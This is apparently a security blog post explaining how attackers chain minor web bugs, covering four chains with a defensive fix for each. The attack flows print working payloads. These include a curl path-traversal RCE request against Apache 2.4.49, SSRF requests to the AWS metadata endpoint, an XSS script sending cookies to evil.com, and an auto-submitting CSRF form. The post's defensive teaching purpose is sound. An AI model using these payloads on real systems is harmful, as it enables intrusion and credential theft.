How Modern Attackers Chain Small Web Vulnerabilities Into Critical Compromise
Nobody needs a zero-day anymore. They just need three bugs you forgot to fix.
In September 2024, CISA and the FBI issued a joint advisory about the Ivanti Cloud Service Appliance attack. The incident didnβt involve a single catastrophic flaw. Four moderate vulnerabilities were exploited in sequence β an admin bypass, a SQL injection for credentials, and two remote code execution bugs β and the result was full network compromise.
<cite index=β21β1">On September 22, 2024, the CISA and FBI issued a joint advisory exposing active exploitation of Ivanti Cloud Service Appliances. The attackers began with CVE-2024β8963, an admin bypass, followed by CVE-2024β9379, a SQL injection flaw to steal credentials. They completed the attack using CVE-2024β8190 and CVE-2024β9380 for remote code execution and web shell persistence.</cite>
Zero critical CVEs. One critical outcome.
This is the central problem modern defenders face: individual vulnerability scores donβt tell you what attackers actually do with them. CVSS rates bugs in isolation. Attackers think in sequences.
π What Vulnerability Chaining Actually Is
Chaining is the practice of exploiting multiple vulnerabilities in sequence, where each step creates the precondition for the next. <cite index=β19β1">A seemingly minor information disclosure can serve as reconnaissance that sets the stage for privilege escalation. An overlooked IDOR, when chained with an authentication bypass, can escalate into exposure of millions of customer records. A βnon-exploitableβ XSS can evolve into full admin account takeover when paired with CSRF.</cite>
The math isnβt additive. Itβs multiplicative.
A P4 open redirect sitting next to an OAuth flow isnβt a P4 anymore. <cite index=β27β1">When combined with OAuth authentication flows, open redirects can lead to OAuth token hijacking, resulting in full account takeovers β a high-severity vulnerability that many companies fail to secure properly.</cite> The open redirect closed as informational. The account takeover was the actual risk. Most triage processes never connect the two.
What follows are four real chain patterns, the steps that build them, and the defensive control that breaks each one.
βοΈ Chain 1 β Open Redirect β OAuth β Account Takeover
Individual severities: Low + None = Critical
This is the most commonly missed chain in web app security. OAuth is built on trust in registered redirect URIs. Open redirects let you route through a trusted domain to anywhere.
ATTACK FLOW
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Attacker Target App Victim
β β β
β 1. Find open redirect β β
β /redirect?url=evil.com β β
β β β
β 2. Craft OAuth link: β β
β /oauth/start? β β
β redirect_uri=target.com β β
β /redirect?url=evil.com β β
β β β
β 3. Send link to victim β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββΊβ
β β β
β β 4. Victim authenticates β
β ββββββββββββββββββββββββββββ
β β β
β β 5. OAuth server sends β
β β ?code=ABC to redirect β
β β URI (target.com) β β
β β β
β β 6. target.com bounces β
β βββββββββββββββββββββββββββββββββ to evil.com?code= β
β ABC β
β 7. Exchange code β token β
β 8. Full account access β βThe OAuth server did nothing wrong. It honored a registered domain. The open redirect β logged as informational β was the actual attack surface.
HackerOne #665651: An open redirect on login.fr.cloud.gov's redirect_uri parameter allowed attacker-controlled sites to receive OAuth tokens, yielding a High severity finding and a $750 bounty. The platform rated the redirect itself as non-critical. The chain elevated it immediately.
The fix that breaks this chain: Validate redirect_uri against an exact allowlist, never a prefix or substring match. One redirect endpoint that passes ?url= to arbitrary destinations is enough to collapse the entire OAuth trust model.
βοΈ Chain 2 β Information Disclosure β Version Fingerprint β CVE Exploit
Individual severities: Informational + Public CVE = Critical
<cite index=β11β1">Headers like X-Powered-By will often advertise the exact supporting service and its version. An attacker could leverage a published exploit to easily compromise the API and its system.</cite>
This chain requires no clever technique. It requires a version number and five minutes in a CVE database.
ATTACK FLOW
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ curl -sI https://target.com
β
βΌ
Response Headers:
βββββββββββββββββββββββββββββββββββββββ
β Server: Apache/2.4.49 (Ubuntu) β β Version leaked
β X-Powered-By: PHP/7.4.3 β β Framework leaked
β X-Generator: Drupal 7.58 β β CMS leaked
βββββββββββββββββββββββββββββββββββββββ
β
βΌ
NVD / Searchsploit lookup:
βββββββββββββββββββββββββββββββββββββββ
β CVE-2021-41773 Apache 2.4.49 β
β Path Traversal β RCE (CVSS 9.8) β β Publicly weaponized
βββββββββββββββββββββββββββββββββββββββ
β
βΌ
curl "http://target.com/cgi-bin/.%2e/.%2e/bin/sh"
β Remote code execution confirmedApache 2.4.49 (CVE-2021β41773) is the canonical example β a path traversal flaw actively exploited in the wild within 48 hours of disclosure. The header that revealed the version was rated informational. The exploit it enabled was critical.
The fix that breaks this chain: Remove or sanitize Server, X-Powered-By, X-Generator, and X-AspNet-Version headers at the reverse proxy layer. Nginx: server_tokens off. Apache: ServerTokens Prod. This doesn't fix the underlying vulnerability β but it eliminates the automated reconnaissance that makes mass exploitation efficient.
βοΈ Chain 3 β SSRF β Cloud IMDS β Full AWS Compromise
Individual severities: Medium SSRF + Misconfigured IAM = Critical / Infrastructure Takeover
Server-Side Request Forgery ranks among the most dangerous bugs on cloud-hosted infrastructure precisely because it doesnβt need to exfiltrate data directly β it needs to reach one IP: 169.254.169.254.
ATTACK FLOW
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[1] Find SSRF endpoint
POST /fetch?url=http://169.254.169.254/ β
βΌ [2] Access AWS IMDS (IMDSv1, no auth required)
GET http://169.254.169.254/latest/meta-data/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ β
βΌ [3] Retrieve temporary IAM credentials
ββββββββββββββββββββββββββββββββββββββββββββ
β { β
β "AccessKeyId": "ASIA...", β
β "SecretAccessKey": "wJalrXUt...", β
β "Token": "AQoXnyc...", β
β "Expiration": "2025-07-28T..." β
β } β
ββββββββββββββββββββββββββββββββββββββββββββ β
βΌ [4] Enumerate permissions
aws sts get-caller-identity
aws iam list-attached-role-policies β
βΌ [5] Exploit overpermissioned role
β s3:GetObject on all buckets β data exfiltration
β ec2:* β spin up instances, lateral movement
β iam:* β create new admin user, persistence
This is not theoretical. <cite index=β35β1">In March 2025, F5 Labs documented a coordinated campaign targeting websites hosted on EC2 instances, specifically exploiting SSRF vulnerabilities to access IMDSv1. The campaign demonstrated organized, persistent targeting of AWS metadata services.</cite> The bug wasnβt the SSRF alone β it was the SSRF running on an instance with an overpermissioned IAM role attached.
Get CYBER MIND SPACEβs stories inΒ yourΒ inbox
Join Medium for free to get updates fromΒ thisΒ writer.
<cite index=β40β1">A single SSRF vulnerability can escalate to full AWS account compromise, cross-account access, or complete infrastructure takeover depending on IAM role permissions and pivot opportunities.</cite>
The fix that breaks this chain: Two independent controls, either of which stops the attack: (1) Enforce IMDSv2 β it requires a session token via PUT request, which most SSRF vulnerabilities cannot issue. (2) Apply least-privilege IAM roles β even a successful IMDS hit returns credentials with near-zero blast radius if the role has only the permissions the application actually needs.
βοΈ Chain 4 β Self-XSS + Missing CSRF = Admin Account Takeover
Individual severities: Low + Low = High
Self-XSS is the bug that closes itself β you can only inject it into your own session, so triagers mark it informational and move on. But pair it with a missing CSRF token on the endpoint that saves the injected value, and the attack surface changes completely.
ATTACK FLOW
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[1] Find Self-XSS in profile field
Input: <script>document.location='https://evil.com?c='+document.cookie</script>
Result: only fires in your own account β rated Low [2] Check if the save-profile endpoint has CSRF protection
POST /account/settings
Content-Type: application/x-www-form-urlencoded
bio=<script>...</script>
β No CSRF token in request β (missing) [3] Build CSRF page targeting admin account
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/account/settings">
<input name="bio" value='<script>evil payload</script>'/>
</form>
</body>
</html> [4] Trick admin into visiting CSRF page
β Admin's bio gets overwritten with XSS payload
β Next time admin views their own profile: payload fires
β Admin cookie exfiltrated β Session hijacked β Full admin access
<cite index=β22β1">A combination of a low severity Self-XSS vulnerability combined with a lack of CSRF protection could allow an attacker to send malicious XSS payloads to other users.</cite> Both bugs individually close as non-critical. Together they produce admin account takeover.
The fix that breaks this chain: CSRF tokens on every state-changing endpoint. If the save-profile request requires a per-session, non-predictable token, the CSRF page cannot forge a valid request β and the Self-XSS is immediately contained to the attackerβs own account again.
π§ The Attackerβs Mental Model
Defenders evaluate bugs one at a time. Attackers evaluate what each bug enables.
<cite index=β25β1">Attackers spot what each finding enables next and adapt when a planned step fails. Chains often hit walls; pivoting to alternate uses of a vulnerability is essential.</cite>
The right question after finding any low-severity bug is not βwhatβs the CVSS score?β Itβs: what does this give me access to that I couldnβt reach before?
An open redirect answers: access to OAuth flows. An information disclosure answers: access to version-specific exploits. An SSRF answers: access to internal services and cloud metadata. A Self-XSS answers: a payload delivery mechanism, if CSRF gives it reach.
Every low-severity bug is a potential first link. The chainβs severity is determined by whatβs reachable at the end β not by any single node.
π‘οΈ Defensive Guidance β Break the Chain, Not Just the Bug
Fixing every vulnerability in isolation is expensive and slow. Breaking chain dependencies is faster and higher-leverage.
Chain DependencyDefensive BreakImpactOpen redirect used in OAuthExact-match redirect URI allowlistCollapses Chain 1 entirelyVersion headers enabling CVE lookupStrip server/framework headers at proxyEliminates automated fingerprintingSSRF reaching cloud metadataEnforce IMDSv2, least-privilege IAMStops Chain 3 at the escalation stepCSRF enabling XSS reachCSRF tokens on all state-changing endpointsContains Self-XSS to attackerβs own sessionChaining enabled by no detectionAlert on sequential auth failures, unexpected internal requestsDetects chain in progress before completion
<cite index=β19β1">Deploy multiple independent controls at every layer. When attackers successfully exploit one vulnerability, the next control should stop their progress. Defense-in-depth ensures breaking any chain link stops the attack.</cite>
A chain fails at its weakest link β from the defenderβs perspective. The goal is to make that weakest link robust enough that the attacker canβt complete the sequence, even if they identify every individual bug.
π TL;DR
β Individual CVSS scores donβt reflect chain impact. A P4 + a P4 can be a P1. β Four common chains: Open Redirect β OAuth ATO, Fingerprint β CVE Exploit, SSRF β Cloud Admin, Self-XSS + CSRF β Session Hijack. β The Ivanti 2024 attack chained four moderate CVEs into full network compromise. β Attacker logic: what does this bug enable next? β not βwhatβs the severity?β β Break chain dependencies, not just individual bugs. β Report chains as a single finding. The severity is the endpoint, not the starting bug.
References
- CISA/FBI Joint Advisory β Ivanti CSA exploitation chain, September 2024
- HackerOne Report #665651 β OAuth token theft via open redirect, login.fr.cloud.gov
- HackerOne Report #905607 β Open redirect chained with OAuth ATO, cs.money
- F5 Labs β SSRF to AWS IMDS credential theft campaign, March 2025
- Meta BountyCon 2024 β Path traversal + DLL hijacking, $111,750 payout
- OWASP Top 10 2021 β A10: SSRF, A01: Broken Access Control










